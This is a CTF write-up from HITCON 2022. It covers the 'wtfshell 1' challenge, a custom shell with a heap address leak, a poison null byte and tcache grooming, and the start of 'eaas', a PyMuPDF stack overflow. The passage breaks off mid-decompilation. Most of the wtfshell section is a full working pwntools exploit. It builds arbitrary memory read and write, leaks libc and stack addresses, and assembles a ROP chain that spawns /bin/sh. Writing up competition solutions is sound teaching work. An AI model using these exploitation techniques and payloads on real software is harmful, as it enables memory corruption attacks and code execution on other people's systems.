# HITCON 2022 Writeups Part 2 ## wtfshell 1 > Note: This challenge is open source, do not waste your time reverse-engineering the binary. > > An uncanny shell full of math and curse words. > > There are two flags in this challenge: > > The first flag is hidden in the flag1 file inside the virtual file system (a.k.a. memory) and cannot be read even by the virtual root. Your goal is to pwn the binary > and achieve arbitrary memory read. > The second flag (flag2) is located outside of the virtual file system. This means that you must pwn the binary and achieve arbitrary code execution (open/read/write > actually, due to seccomp) in order to get the flag. > Submit the first flag here > Attachment: wtfshell-ba82f7466aaab5d3573e8c9143bf3c421b54b1c2.tar.gz > > Server (America): > > nc 35.233.147.96 42531 > Server (Asia): > > nc 35.194.252.171 42531 > Author: wxrdnx After some initial recon of the source code, it became clear that this was no ordinary shell. While it was a very lightweight implementation of what you would expect in a normal shell, the command names were very different. For example, help (listing the commands) was called `rtfm`. The full list of commands is (the `.` is an important separator, more on that later): - `rtfm.`: "Read This Friendly Manual" - `qq.`: "Quit Quietly" - `lol,[-l].`: "List Of fiLes" - `rip.[FILE]`: "Redirect InPut" - `nsfw,FILE,PERM.`: "New Single File for Writing" - `wtf,DATA,FILE.`: "Write data To File" - `omfg,FILE.`: "Output My File Gracefully" - `gtfo,FILE.`: "GeT the File Out" - `ouo.`: "Output current User Out" - `stfu,USER.`: "SeT new Friendly User" - `asap,[USER].`: "ASsign A new Password" - `sus,USER.`: "Switch USer" - `shit.`: "SHell InformaTion" - `irl.`: "Instantly Reset shelL" It did not take long to find the first vulnerability. `read_max` does not null terminate the string it reads in (if no newline was entered): ```c int read_max(char *dest, const size_t max_len) { int read_num = 0; while (read_num < max_len) { int res = read(STDIN_FILENO, &dest[read_num], 1); if (res < 0) { terminate(); } if (dest[read_num] == '\n') { dest[read_num] = '\0'; return read_num; } read_num++; } return read_num; } ``` Unfortunately, we could not find a direct way to exploit this bug. Instead, we found another problem with `asap`, i.e. changing a user's password: ```c int read_pw(char *dest) { int read_num = 0; while (read_num < PWMAX) { int res = read(STDIN_FILENO, &dest[read_num], 1); if (res < 0) { terminate(); } if (dest[read_num] == '\n') { dest[read_num] = '\0'; return read_num; } read_num++; } return read_num; } int chk_pw(const char *pw) { char input; int pw_len = strlen(pw); for (int i = 0; i < pw_len + 1; i++) { int res = read(STDIN_FILENO, &input, 1); if (res < 0) { terminate(); } if (i == pw_len) { // The last character must be a line break return input == '\n'; } // [0] if (input == '\n') { // Ignore accidental line breaks i--; continue; } /* If password mismatch, quit immediately */ if (input != pw[i]) { // [1] /* Read characters until '\n' */ while (1) { int res = read(STDIN_FILENO, &input, 1); if (res < 0) { terminate(); } if (input == '\n') { return 0; } } } } } void cmd_asap() { char *uname = strtok(NULL, delim); int uid; if (!uname) { uid = curr_uid; // the default user is the current user } else { uid = getuidbyname(uname); if (uid == -1) { write_str("asap: \""); write_str(uname); write_str("\" βˆ‰ 𝒰\n"); return; } } /* Only root or the current user can set password */ if (curr_uid != 0 && curr_uid != uid) { write_str("asap: Β¬ perm\n"); return; } for (int i = 0; i < USERMAX; i++) { if (gusers[i] && gusers[i]->uname && gusers[i]->uid == uid) { /* Enter the password */ write_str("password:"); /* Enter the password again in case of typo */ read_pw(gusers[i]->ushadow); write_str("retype password:"); if (!chk_pw(gusers[i]->ushadow)) { /* Clear data when error occurs */ bzero(gusers[i]->ushadow, PWMAX); write_str("asap: pw1 β‰  pw2\n"); return; } write_str("Q.E.D.\n"); return; } } } ``` `read_pw` is equivalent to `read_max` from before and so it exhibits the same bug. Therefore, we can fill `gusers[i]->ushadow` with `0x40` non-zero bytes. `struct user` is defined as follows: ```c struct user { char ushadow[PWMAX]; char *uname; int uid; }; ``` If we read beyond `ushadow`, then we can leak the bytes of `uname`, i.e. a heap address. Since we set `ushadow` to `0x40` non-zero bytes, `ushadow` will go beyond `ushadow` and also include the `uname` address as bytes of the string. If we already know bytes `[0:n-1]` of the `uname` address, we can now leak byte `n` as follows. When asked for confirmation of the password, we enter the same `0x40` characters as we set for `ushadow`. We then enter the known bytes, followed by our guess for byte `n`. Finally, we send enter a newline. If our guess was correct, the condition at `// [1]` will not be entered and hence the newline is "swallowed" at `// [0]` and the loop continues. However, if our guess was incorrect, the condition at `// [1]` is entered, the newline consumed and we return from `chk_pw`. Since the connection to the server might be slow, we optimized this a bit. For every byte we want to guess, we send the guess "sequence" for all 256 possibilities at once. So for every byte `i` in `[0, 255]`, we send the following (concatenated, `ptr` already known bytes): - `io.sendline(b"asap,a")`: Start changing password - `io.send(cyclic(0x40))`: Set `ushadow` to `0x40` non-zero bytes - `io.send(cyclic(0x40) + ptr + p8(i) + b"\n"+0x80*b"a"+b"\n")`: Deliver our guess `i` and send some extra stuff, so we can later identify the correct guess. We then receive all the output of the server. To identify the correct guess, we split the output based on when the server asked us to retype the password (i.e. before it tells us whether our guess was correct or not). As established before, if our guess was correct, the first newline would be "swallowed" and the loop continues. Therefore, `0x80*b"a"+b"\n"` would be "swallowed" as well, since the first `a` causes the condition at `// [1]` to be entered which then reads until the newline. If the guess was incorrect however, we will immediately return and `0x80*b"a"+b"\n"` will be interpreted as another command (which of course does not exist). Therefore, we just have to identify, which attempt did not have the "unknown command" message before the next attempt and we have the correct guess: ```py ptr = b"" while len(ptr) < 6: # afterwards null bytes... # clear the thingy and make inital guess which hopefully is wrong io.sendlineafter(SQRT, b"asap,a") # pw io.send(cyclic(0x40)) # retype: io.send(b"b\n"+0x80*b"a"+b"\n") for i in range(256): if i == 10: continue # program ignores \n # assign password to a io.sendline(b"asap,a") # max pw len io.send(cyclic(0x40)) # leaking char at i io.send(cyclic(0x40) + ptr + p8(i) + b"\n"+0x80*b"a"+b"\n") # just a quick way to get all the data io.sendline(b"end") x = io.recvuntil(b"end").split("retype".encode())[2:] # figure out the char: m = b"a"*0x100 # min length string is the one without the "unknown command" for c in x: if len(c) < len(m): m = c # index, but if not found newline and if above newline ++ c = x.index(m) if len(set(x)) > 1 else 10 if c > 10: c += 1 ptr += p8(c) print(ptr) ptr += b"\x00\x00" heap_leak = u64(ptr) info("Leaked the heap: %x", heap_leak) ``` We also found another bug quickly. Since `read_max` does not zero terminate its string, `strtok` in the main function could be made to read out of bounds: ```c read_max(gbuff, GBSIZE); char *token = strtok(gbuff, delim); ``` However, for quite some time we did not realize how this could help us, as we thought it would only be an out of bounds read. Suddenly, we remembered that `strtok` will actually zero out a `delim` if found. Therefore, if the character right after `gbuff` was by chance a delimiter and also the lowest byte of the size of a glibc malloc chunk header, then `strtok` would zero it out and we would have a poison null byte attack! Unfortunately, `gbuff` is malloc'd to `0x400` size and so the size of the next chunk would never be right after `gbuff`, but instead at `+8`. So once again, we got stuck and tried to find different things. After some more thinking, I realized that it should be possible to groom the heap enough, such that when we reallocate `gbuff` (can be done with command `irl`), it would return a malloc chunk, where bytes `0x400:0x408` where already filled. Then, it would be possible to have strtok zero out byte `+0x8` at the end of `gbuff` instead! Another roadblock appeared though: ```c void cmd_irl() { /* Reset buffer */ xfree(gbuff); gbuff = xmalloc(GBSIZE); /* Set current uid to 0 */ curr_uid = 0; /* Remove all files (except for flag1) */ for (int i = 1; i < FILEMAX; i++) { if (gfiles[i]) { xfree(gfiles[i]->fname); if (gfiles[i]->fdata) { xfree(gfiles[i]->fdata); } xfree(gfiles[i]); gfiles[i] = NULL; } } /* Remove all users (except for root) */ for (int i = 1; i < USERMAX; i++) { if (gusers[i]) { gusers[i] = NULL; } } } ``` `irl` first frees `gbuff`, then immediately alloc's it again. So it would seem impossible to reallocate `gbuff` with a different chunk (needed to have bytes `0x400:0x408` non-zero) than before. This is actually possible, thanks to glibc's tcache. By first filling up the tcache of size `0x400` with chunks that have bytes `0x400:0x408` set[^42], then calling `irl`, the `xfree` in `irl` will put the chunk of `gbuff` into the unsorted bin instead of the tcache, but `xmalloc` will first use the tcache to return chunks! This is exactly what the exploit does. ```py # used to fill up the tcache of size 0x410 (except last one needs more prep) fill_files = [] for i in range(6): fname = f"fill{i}" fill_files.append(fname) create_file(fname) write_file(fname, b"A"*0x200) append_file(fname, b"B"*(0x208-1)) ``` How do we get a chunk with bytes `0x400:0x408` non-zero into the tcache though? `xfree` zeroes the memory before calling into `free`. Therefore, we have to find an indirect way. Fortunately, appending to a file will realloc the backing data store if it is not enough. This will free the chunk, without it being zeroed! Unfortunately, appending to a file will not allow us to set all bytes `0x400:0x408` to zero, since it takes an extra null byte at the end into account and hence only bytes `0x400:0x407` could be zeroed. We have to get more creative for that. Instead, we create a chunk larger than `0x400` (`0x630`) filled with non-zero bytes, cause it to be freed (again with reallocating it to not have the bzero), which puts it into the unsorted bin. We then malloc a chunk of size `0x100`, which results in the first `0x100` bytes being removed from the `0x630` chunk. This leaves a chunk of size `0x530` in the unsorted bin. If we now request a `0x410` chunk, it will take the first `0x410` bytes from the `0x530` chunk. Since we filled bytes `0x627` of the original chunk, this means that bytes `0x400:0x408` of the new chunk are also non-zero now. It is important that we do not actually set bytes `0x400:0x408` here, as this is impossible. Instead, we make the file size `0x3ff`, since we can always set byte `0x3ff` manually when reading into `gbuff`. Finally, we then allocate our victim (the victim of the poison null byte) of size `0x120`. This will use the remaining `0x120` chunk in the unsorted bin and hence be right after the chunk we are planning on using for the `gbuff`: ```py VIC_SIZE = 0x118 #Β + 0x10 for metadata victim = "victim" def create_vic(): create_file(victim) write_file(victim, b"V"*(VIC_SIZE-1)) last_fill = f"fill_last" fill_files.append(last_fill) create_file(last_fill) write_file(last_fill, b"A"*0x200) append_file(last_fill, b"B"*(0x200)) append_file(last_fill, b"C"*(0x227)) guard = "guard" create_file(guard) write_file(guard, b"G"*0x60) log.info("Cause last_fill to be freed due to realloc") append_file(last_fill, b"C"*0x100) del_file(last_fill) # grab first 0x100 bytes front_bit = "front_bit" create_file(front_bit) write_file(front_bit, b"F"*0xf0) log.info("Get 0x400 chunk from unsorted bin") create_file(last_fill) write_file(last_fill, b"L"*0x200) append_file(last_fill, b"B"*(0x200-1)) log.info("Create victim") create_vic() ``` Everything is now in place. We first fill up the tcache of size `0x410` with all the files, then we execute the `irl` command and finally reallocate the victim (will be deleted by `irl`): ```py for fill in fill_files[:-1]: del_file(fill) log.info("Cause last filler to realloc, causing a free without zeroing!") append_file(fill_files[-1], b"C"*0x200) del_file(fill_files[-1]) log.info("Tcache for GBSIZE should be full") log.info("Reset to reallocate gbuff from tcache") reset() log.info("Reallocate victim") create_vic() ``` We can now launch the poison null byte attack, by sending `0x400` characters as the command. The size of the victim chunk (`0x120`) was chosen such that the lowest byte of the size field (`0x21`, because inuse bit) would coincide with a delimiter (`'!'`). Therefore, the victim chunk's size field will be set to `0x100` with the prev in use bit cleared and the size made smaller. By doing some more heap grooming, we can have the heap in a state such that reallocing the victim chunk will result in overlapping chunks. In particular, we create two fake chunks after our (shrunk) victim one. The first one directly after the shrunk victim (i.e. still inside the victim). This one will be considered free (since the second fake chunk has the prev in use bit not set). Therefore, during the realloc, the victim chunk will be merged into the first fake chunk. We also prepare a bunch of file structs directly after the victim chunk. Thanks to the merge, the victim chunk will then overlap with those file structs and we can fully overwrite them when editing the file: ```py def fake_chunk(size, fd, bk, prev=0x4141414141414141): return p64(prev) + p64(size) + p64(fd) + p64(bk) FIRST_SIZE = 0x250 first_addr = heap_base + 0x55555555eef0 - 0x000055555555c000 first_hdr_addr = first_addr - 0x10 second_addr = first_addr + FIRST_SIZE second_hdr_addr = first_hdr_addr + FIRST_SIZE second_cont_addr = heap_base + 0x55555555f000 - 0x000055555555c000 second_cont_off = second_addr - second_cont_addr - 0x10 first_fake = fake_chunk(FIRST_SIZE | 1, second_hdr_addr, second_hdr_addr) second_fake = fake_chunk(0x250, first_hdr_addr, first_hdr_addr, FIRST_SIZE) def write_with_nulls(fname, conts: bytes): """Writes to a file while preserving null bytes. """ secs = [] curr = 0 while curr < len(conts): start = curr try: curr = conts.index(b"\0", curr) curr += 1 except: secs.append((start, len(conts))) break end = curr-1 secs.append((start, end)) secs.reverse() for start, end in secs: chunk = conts[start:end] prefix = b"A"*start write_file(fname, prefix + chunk) new_vic_pay = b"V"*(0x100-0x10) + first_fake write_with_nulls(victim, new_vic_pay) log.info("Prepared payload in victim chunk") #Β remove one item from tcache 0x410 fill_files = [] for i in range(1): fname = f"fill{i}" fill_files.append(fname) create_file(fname) write_file(fname, b"A"*0x200) append_file(fname, b"B"*(0x208-1)) #Β fill up a bunch of unused heap space arbers = [] for i in range(0x11): fname = f"arber{i}" create_file(fname) arbers.append(fname) # will be used for arb read later, since it will overlap with new victim arber = "arber" create_file(arber) second_fake_cont = "second_fake" create_file(second_fake_cont) write_file(second_fake_cont, b"E"*0x300) second_pay = b"S"*second_cont_off + second_fake write_with_nulls(second_fake_cont, second_pay) log.info("Prepared rest of stuff") log.info("Doing overwrite now :)") io.sendafter(CURR_PS, b"A"*GBSIZE) log.info("Doing realloc now!") append_file_limited(victim, b"O"*SBSIZE) # victim now overlaps with file struct for arber! ``` We can now edit the file struct for the `arber` file through the victim file and hence we have an arbitrary read (through the file's name). We can use this to read the first flag! ```py file_addr = heap_base + 0x55555555ef80 - 0x000055555555c000 victim_conts_addr = first_addr - 0x100 def fake_file(name_addr, data_addr, fuid = 0, fflag = 3): return p64(name_addr) + p64(data_addr) + p32(fuid) + p32(fflag) file_off = file_addr - victim_conts_addr arber_name_addr = file_addr - 8 arber_name = "lmaoxdd" def write_fake_file(fake_file): victim_pay = b"V"*(file_off-8) + arber_name.encode() + b"\0" + fake_file write_with_nulls("victim", victim_pay) log.info("Fixing up file") write_fake_file(fake_file(arber_name_addr, 0x4141414141414141)) def arb_read(addr): write_fake_file(fake_file(arber_name_addr, addr)) send_cmd(b"omfg", arber_name) leaked = io.recvuntil(b"\n"+SQRT, drop=True) io.unrecv(SQRT) return leaked def arb_read_nulls(addr, size): ret = b"" curr = addr while len(ret) < size: read = arb_read(curr) read += b"\0" ret += read curr += len(read) return ret[:size] def arb_read64(addr): conts = arb_read_nulls(addr, 8) return u64(conts) flag_heap_addr = heap_base + 0x55555555c360 - 0x000055555555c000 conts = arb_read(flag_heap_addr) log.success("FLAG1: %s", conts.decode()) ``` The full exploit (which contains our current failed attempt at wtfshell2 as well): ```py #!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host 35.233.147.96 --port 42531 share/wtfshell from pwn import * context.terminal = ["tmux", "split", "-h"] # Set up pwntools for the correct architecture elf_path = "share/wtfshell" # if args.LOCAL: # elf_path = "src/wtfshell" exe = context.binary = ELF(elf_path) libc = ELF('share/libc.so.6') # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or '35.233.147.96' port = int(args.PORT or 42531) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) return start_local(argv, *a, env={"LD_LIBRARY_PATH": "./share/"}, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' handle SIGSYS stop directory /usr/src/glibc/glibc-2.35/malloc/ continue '''.format(**locals()) ROOT_PS = b"\xe2\x88\x9a\x20" CURR_PS = ROOT_PS GBSIZE = 0x400 SBSIZE = 0x100 FILEMAX = 0x80 USERMAX = 0x10 PWMAX = 0x40 DIGITMAX = 0x80 RDPERM = 0x2 WRPERM = 0x1 def send_cmd(*args): global CURR_PS args = list(args) for i in range(len(args)): if isinstance(args[i], str): args[i] = args[i].encode() token = b",".join(args) + b"." io.sendlineafter(CURR_PS, token) def create_file(fname, perm = 3): send_cmd(b"nsfw", fname, str(perm).encode()) def write_file(fname, conts): send_cmd(b"wtf", conts, fname) def append_file_limited(fname, conts): send_cmd(b"rip", fname) if len(conts) < SBSIZE: conts += b"\n" io.send(conts) def append_file(fname, conts): for i in range(0, len(conts), SBSIZE): chunk = conts[i:i+SBSIZE] append_file_limited(fname, chunk) def del_file(fname): send_cmd(b"gtfo", fname) def reset(): send_cmd(b"irl") #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled io = start() log.info("Leaking HEAP base") SQRT = "√".encode() io.sendlineafter(SQRT, b"stfu,0") # create user 0 io.sendlineafter(SQRT, b"stfu,a") # create user a ptr = b"" while len(ptr) < 6: # afterwards null bytes... # clear the thingy and make inital guess which hopefully is wrong io.sendlineafter(SQRT, b"asap,a") # pw io.send(cyclic(0x40)) # retype: io.send(b"b\n"+0x80*b"a"+b"\n") for i in range(256): if i == 10: continue # program ignores \n # assign password to a io.sendline(b"asap,a") # max pw len io.send(cyclic(0x40)) # leaking char at i io.send(cyclic(0x40) + ptr + p8(i) + b"\n"+0x80*b"a"+b"\n") # just a quick way to get all the data io.sendline(b"end") x = io.recvuntil(b"end").split("retype".encode())[2:] # figure out the char: m = b"a"*0x100 # min length string is the one without the "unknown command" for c in x: if len(c) < len(m): m = c # index, but if not found newline and if above newline ++ c = x.index(m) if len(set(x)) > 1 else 10 if c > 10: c += 1 ptr += p8(c) print(ptr) ptr += b"\x00\x00" heap_leak = u64(ptr) info("Leaked the heap: %x", heap_leak) heap_base = heap_leak - 0x880 log.success("Heap @ 0x%x", heap_base) log.info("Create many files with contents of GBSIZE, so that we can fill up tcache free list!") #Β stashed files have use the same size for the data as a file struct # by first creating a bunch of these, we can therefore free them at a later date, # and will always have enough chunks in the tcache of the file struct size # this is useful, so that the file structs are not taken from the top chunk, # but instead from the beginning # this makes the exploit easier, since we can be sure we won't corrupt the file structs NUM_STASHED = 8 VIC_SIZE = 0x118 #Β + 0x10 for metadata victim = "victim" def create_vic(): create_file(victim) write_file(victim, b"V"*(VIC_SIZE-1)) stashed = [] for i in range(NUM_STASHED): fname = f"stashed{i}" stashed.append(fname) create_file(fname) write_file(fname, b"S"*23) def release_stashed(): del_file(stashed.pop(0)) fill_files = [] for i in range(6): fname = f"fill{i}" fill_files.append(fname) create_file(fname) write_file(fname, b"A"*0x200) append_file(fname, b"B"*(0x208-1)) last_fill = f"fill_last" fill_files.append(last_fill) create_file(last_fill) write_file(last_fill, b"A"*0x200) append_file(last_fill, b"B"*(0x200)) append_file(last_fill, b"C"*(0x227)) # so we can allocate a file struct release_stashed() # create_vic() guard = "guard" create_file(guard) write_file(guard, b"G"*0x60) # pause() # del_file(last_fill) log.info("Cause last_fill to be freed due to realloc") append_file(last_fill, b"C"*0x100) del_file(last_fill) # pause() # grab first 0x100 bytes front_bit = "front_bit" create_file(front_bit) write_file(front_bit, b"F"*0xf0) release_stashed() # pause() log.info("Get 0x400 chunk from unsorted bin") create_file(last_fill) write_file(last_fill, b"L"*0x200) append_file(last_fill, b"B"*(0x200-1)) # pause() log.info("Create victim") create_vic() # pause() for fill in fill_files[:-1]: del_file(fill) # pause() log.info("Cause last filler to realloc, causing a free without zeroing!") append_file(fill_files[-1], b"C"*0x200) del_file(fill_files[-1]) pause() log.info("Tcache for GBSIZE should be full") log.info("Reset to reallocate gbuff from tcache") reset() # pause() log.info("Reallocate victim") create_vic() # pause() def fake_chunk(size, fd, bk, prev=0x4141414141414141): return p64(prev) + p64(size) + p64(fd) + p64(bk) FIRST_SIZE = 0x250 first_addr = heap_base + 0x55555555eef0 - 0x000055555555c000 first_hdr_addr = first_addr - 0x10 second_addr = first_addr + FIRST_SIZE second_hdr_addr = first_hdr_addr + FIRST_SIZE second_cont_addr = heap_base + 0x55555555f000 - 0x000055555555c000 second_cont_off = second_addr - second_cont_addr - 0x10 first_fake = fake_chunk(FIRST_SIZE | 1, second_hdr_addr, second_hdr_addr) second_fake = fake_chunk(0x250, first_hdr_addr, first_hdr_addr, FIRST_SIZE) def write_with_nulls(fname, conts: bytes): """Writes to a file while preserving null bytes. """ secs = [] curr = 0 while curr < len(conts): start = curr try: curr = conts.index(b"\0", curr) curr += 1 except: secs.append((start, len(conts))) break end = curr-1 secs.append((start, end)) secs.reverse() for start, end in secs: chunk = conts[start:end] prefix = b"A"*start write_file(fname, prefix + chunk) new_vic_pay = b"V"*(0x100-0x10) + first_fake write_with_nulls(victim, new_vic_pay) log.info("Prepared payload in victim chunk") # pause() #Β remove one item from tcache 0x410 fill_files = [] for i in range(1): fname = f"fill{i}" fill_files.append(fname) create_file(fname) write_file(fname, b"A"*0x200) append_file(fname, b"B"*(0x208-1)) arbers = [] for i in range(0x11): fname = f"arber{i}" create_file(fname) arbers.append(fname) # pause() arber = "arber" create_file(arber) second_fake_cont = "second_fake" create_file(second_fake_cont) write_file(second_fake_cont, b"E"*0x300) second_pay = b"S"*second_cont_off + second_fake write_with_nulls(second_fake_cont, second_pay) log.info("Prepared rest of stuff") pause() log.info("Doing overwrite now :)") io.sendafter(CURR_PS, b"A"*GBSIZE) pause() log.info("Doing realloc now!") append_file_limited(victim, b"O"*SBSIZE) pause() file_addr = heap_base + 0x55555555ef80 - 0x000055555555c000 victim_conts_addr = first_addr - 0x100 def fake_file(name_addr, data_addr, fuid = 0, fflag = 3): return p64(name_addr) + p64(data_addr) + p32(fuid) + p32(fflag) file_off = file_addr - victim_conts_addr arber_name_addr = file_addr - 8 arber_name = "lmaoxdd" def write_fake_file(fake_file): victim_pay = b"V"*(file_off-8) + arber_name.encode() + b"\0" + fake_file write_with_nulls("victim", victim_pay) log.info("Fixing up file") write_fake_file(fake_file(arber_name_addr, 0x4141414141414141)) def arb_read(addr): write_fake_file(fake_file(arber_name_addr, addr)) send_cmd(b"omfg", arber_name) leaked = io.recvuntil(b"\n"+SQRT, drop=True) io.unrecv(SQRT) return leaked def arb_write_internal(addr, conts): write_fake_file(fake_file(arber_name_addr, addr)) write_file(arber_name, conts) def arb_write_int(addr, conts): secs = [] curr = 0 while curr < len(conts): start = curr try: curr = conts.index(b"\0", curr) curr += 1 except: secs.append((start, len(conts))) break end = curr-1 secs.append((start, end)) secs.reverse() for start, end in secs: chunk = conts[start:end] arb_write_internal(addr + start, chunk) def arb_write(addr, conts): for i in range(0, len(conts), 8): chunk = conts[i:i+8] arb_write_int(addr + i, chunk) def arb_read_nulls(addr, size): ret = b"" curr = addr while len(ret) < size: read = arb_read(curr) read += b"\0" ret += read curr += len(read) return ret[:size] def arb_write8(addr, b): write_fake_file(fake_file(arber_name_addr, addr)) write_file(arber_name, b) def arb_read64(addr): conts = arb_read_nulls(addr, 8) return u64(conts) def arb_write64(addr, val): conts = p64(val) arb_write(addr, conts) flag_heap_addr = heap_base + 0x55555555c360 - 0x000055555555c000 conts = arb_read(flag_heap_addr) log.success("FLAG1: %s", conts.decode()) log.info("Need libc leak now!") libc_leaker = "arber4" guarder = "arber5" write_file(libc_leaker, b"F"*0x380) append_file(libc_leaker, b"F"*SBSIZE) write_file(guarder, b"G"*0x380) del_file(libc_leaker) libc_leak_addr = heap_base + 0x000055555555f310 - 0x000055555555c000 libc_leak = arb_read64(libc_leak_addr) libc.address = libc_base = libc_leak - 0x1f6cc0 log.success("libc @ 0x%x", libc_base) env_ptr = arb_read64(libc.symbols["__environ"]) log.info("env @ 0x%x", env_ptr) stack_base = env_ptr - 0x20df8 log.success("stack @ 0x%x", stack_base) ROPCHAIN = p64(libc.address + 0x0000000000101113) + p64(0) + p64(0) + p64(next(libc.search(b"/bin/sh"))) + p64(libc.address + 0x000000000003f8e3) + p64(11) + p64(libc.address + 0x00000000000f2f32) # int 0x80 write_with_nulls(guarder, ROPCHAIN) wtf_ret_addr = stack_base + 0x00007fffffffeca8 - 0x00007ffffffde000 add_rsp_addr = libc_base + 0x000000000003bbfd add_rsp_addr = libc_base + 0x00000000001425bc mov_rsp_rdx = libc_base + 0x0000000000054830 pop_rsp_addr = libc_base + 0x000000000002eb31 rop_heap_addr = heap_base + 0x4000 ROPCHAIN1 = p64(pop_rsp_addr) + p64(rop_heap_addr) rop_payload_addr = wtf_ret_addr + 0x218 + 0x8 #0x150 def arb_write6(addr, val): for i in range(6): arb_write8(addr + i, bytes([val[i]])) # context.log_level = "debug" log.info("pid = %d", io.pid) pause() try: arb_write6(rop_payload_addr, ROPCHAIN1[:6]) arb_write6(rop_payload_addr + 8, ROPCHAIN1[8:8+6]) except: pass # try: # arb_write(rop_payload_addr, ROPCHAIN1) # except: # pass # pause() # arb_write(rop_heap_addr, ROPCHAIN) pause() arb_write6(wtf_ret_addr, add_rsp_addr) io.interactive() ``` [^42]: Actually, you only need the last chunk you put into the tcache (i.e. the first in the list) to have this property. This is what the exploit also does. ## eaas We're given a very small python script that can be used to encrypt your PDF file with a password. It's a small wrapper for the fitz library: ```python import fitz import base64 import tempfile import os import json inputtext = input("Give me a text: ")[:1024] uspassword = input("Choose a user password for your document: ") owpassword = input("Choose a owner password for your document: ") options_inp = input("Options for Document.save(): ") allow_options = [ "garbage", "clean", "deflate", "deflate_images", "deflate_fonts", "incremental", "ascii", "expand", "linear", "pretty", "no_new_id", "permissions" ] try: options_load = json.loads(options_inp) options = {} for opt in options_load: if opt in allow_options: options[opt] = options_load[opt] break except: options = {} try: tempfd, temppath = tempfile.mkstemp(prefix="eaas_") os.close(tempfd) except: print("Create temp file failed. Please contact with admin.") exit(-1) try: pdf = fitz.Document() pdf.new_page() pdf[0].insert_text((20,30), inputtext, fontsize=14, color=(0,0,0)) pdf.save(temppath, owner_pw=owpassword, user_pw=uspassword, encryption=fitz.PDF_ENCRYPT_AES_128, **options) except: print("Create the secret document failed. Try again.") exit(0) try: with open(temppath, "rb") as f: print(base64.b64encode(f.read()).decode()) except: print("Couldn't show the file for you. Try again.") exit(0) ``` Seeing how this is labeled as pwn, we probably have to exploit the native library somehow. Since there's a very limited set of inputs finding a crash case wasn't too hard: sending a user password of more than 172 bytes will overwrite the saved return address on the stack. In fact, the stack BoF here is unbounded! [This github issue](https://github.com/pymupdf/PyMuPDF/issues/1945) seems to be describing the same bug. I actually did not look into the code or the bug at all and just started with this primitive. We're limited in two ways: - A zero byte is always appended to the user password. - Only valid non-zero ASCII bytes are allowed. This makes it impossible to return to code in the (non-PIE) python executable. I ended up returning to somewhere in the pymupdf library, because the existing return address already had its high bits lined up correctly for that. With a partial overwrite we could just bruteforce our way to the flag. Looking at the stack for data we could use, I found the following: ``` gef➀ telescope $rsp -l100 0x007ffd704197f8β”‚+0x0000: "3333333333333333" ← $rsp 0x007ffd70419800β”‚+0x0008: "33333333" 0x007ffd70419808β”‚+0x0010: 0x0000000000000000 0x007ffd70419810β”‚+0x0018: 0x0000000000000000 0x007ffd70419818β”‚+0x0020: 0x0000000000000000 0x007ffd70419820β”‚+0x0028: 0x0000000000000000 0x007ffd70419828β”‚+0x0030: 0x0000000000000000 0x007ffd70419830β”‚+0x0038: 0x0000000000000000 0x007ffd70419838β”‚+0x0040: 0x0000000000000000 0x007ffd70419840β”‚+0x0048: 0x0000000000000004 0x007ffd70419848β”‚+0x0050: 0x0000000000000fff 0x007ffd70419850β”‚+0x0058: 0x00000000c6aa30 β†’ "OWNER_PW" 0x007ffd70419858β”‚+0x0060: 0x00000000d25dc0 β†’ "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" 0x007ffd70419860β”‚+0x0068: 0x007fc0a99bc870 β†’ 0x0000000000000001 0x007ffd70419868β”‚+0x0070: 0x0000000000000000 0x007ffd70419870β”‚+0x0078: 0x0000000000000000 0x007ffd70419878β”‚+0x0080: 0x0000000000000000 0x007ffd70419880β”‚+0x0088: 0x0000000000000000 0x007ffd70419888β”‚+0x0090: 0x0000000000000000 0x007ffd70419890β”‚+0x0098: 0x0000000000000000 0x007ffd70419898β”‚+0x00a0: 0x0000000000000000 0x007ffd704198a0β”‚+0x00a8: 0x0000000000000000 0x007ffd704198a8β”‚+0x00b0: 0x0000000000000004 0x007ffd704198b0β”‚+0x00b8: 0x0000000000000fff 0x007ffd704198b8β”‚+0x00c0: 0x00000000c6aa30 β†’ "OWNER_PW" 0x007ffd704198c0β”‚+0x00c8: 0x0000020000000200 0x007ffd704198c8β”‚+0x00d0: 0x00000000ddce80 β†’ 0x0000000000000001 0x007ffd704198d0β”‚+0x00d8: 0x00000000c6aa30 β†’ "OWNER_PW" 0x007ffd704198d8β”‚+0x00e0: 0x00000000d25dc0 β†’ "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" ``` At time of returning, `$rsp+0x50`, `$rsp+0xb0` and `$rsp+0xc8` would all point to the owner password, which coincidentally could have zero bytes in them! I grepped the pymupdf for accesses to those stack offsets and found the following: ```x86asm 142506: 48 8b 7c 24 50 mov rdi,QWORD PTR [rsp+0x50] 14250b: e8 00 63 ff ff call 138810 <_ZN9tesseract13GenericVectorIPKNS_14ParagraphModelEE5clearEv@plt> ``` ```c __int64 (__fastcall *__fastcall tesseract::GenericVector<tesseract::ParagraphModel const*>::clear( random_vector *a1))(__int64, __int64, __int64) { __int64 idk; // rax __int64 v3; // rbp void *x; // rdi __int64 (__fastcall *result)(__int64, __int64, __int64); // rax __int64 v6[4]; // [rsp+8h] [rbp-20h] BYREF if ( a1->b > 0 ) { idk = a1->idk; if ( idk ) { if ( a1->a > 0 ) { v3 = 0LL; while ( 1 ) { v6[0] = *(_QWORD *)(a1->x + 8 * v3); if ( !idk ) std::__throw_bad_function_call(); ++v3; ((void (__fastcall *)(_QWORD *, __int64 *))a1->rly)(&a1->y, v6); if ( 